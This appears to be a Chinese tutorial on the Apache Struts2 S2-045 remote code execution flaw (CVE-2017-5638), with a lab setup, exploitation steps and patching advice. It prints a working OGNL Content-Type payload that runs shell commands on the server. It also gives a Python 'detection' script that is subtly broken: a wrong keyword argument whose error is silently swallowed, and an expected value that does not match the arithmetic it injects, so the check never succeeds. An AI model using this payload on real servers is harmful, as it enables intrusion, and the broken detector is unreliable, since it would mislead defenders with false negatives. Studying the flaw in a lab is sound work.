漏洞介绍
漏洞编号 | S2-045 |
CVE编号 | CVE-2017-5638 |
漏洞类型 | 远程代码执行 |
漏洞级别 | 高危 |
漏洞风险 | 黑客通过利用漏洞可以实现远程命令执行。 |
影响版本 | struts2.3.5 – struts2.3.31, struts2.5 – struts2.5.10 |
环境准备
工具 | 说明 |
Docker | 用于搭建漏洞测试环境 |
Vulhub靶场 | 提供漏洞测试平台 |
Burp Suite抓包工具 | 用于抓取和修改HTTP请求数据包 |
漏洞POC(Proof of Concept)
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
漏洞关键点
1、基于Jakarta插件的文件上传功能:该漏洞存在于使用Jakarta插件进行文件上传的功能中。
2、恶意用户精心构造Content-Type的值:通过修改HTTP请求头中的Content-Type值,攻击者可以触发该漏洞并执行系统命令。
漏洞利用步骤
1、搭建测试环境:使用Docker和Vulhub靶场搭建好漏洞测试环境,并访问相关界面。
2、选择文件上传:在界面上随便选择一个文件进行上传,并用Burp Suite抓包工具抓取HTTP请求数据包。
3、修改Content-Type值:在Repeater中修改Content-Type的值,以触发漏洞并执行系统命令。
检测POC
#!/usr/bin/env python #coding:utf8 import requests requests.packages.urllib3.disable_warnings() def poccheck(url): result = False header = { 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36', 'Content-Type':"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}" } try: response = requests.post(url, header=header) if "66666666" in response.text: result = True except Exception as e: pass return result
修复措施建议
1、升级Struts2版本:升级到官方发布的安全版本,如struts2.3.32或struts2.5.10.1。
2、删除commons-fileupload库:如果无法升级,可以考虑删除commons-fileupload-x.x.x.jar文件,但需注意这可能会影响网站的其他功能。
3、部署WAF等防护设备:如果以上方法均不可行,建议部署应用防火墙(WAF)等防护设备,并确保规则库已更新到最新版本。
到此,以上就是小编对于struts2 s2-045 漏洞的问题就介绍到这了,希望介绍的几点解答对大家有用,有任何问题和不懂的,欢迎各位朋友在评论区讨论,给我留言。
本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/89462.html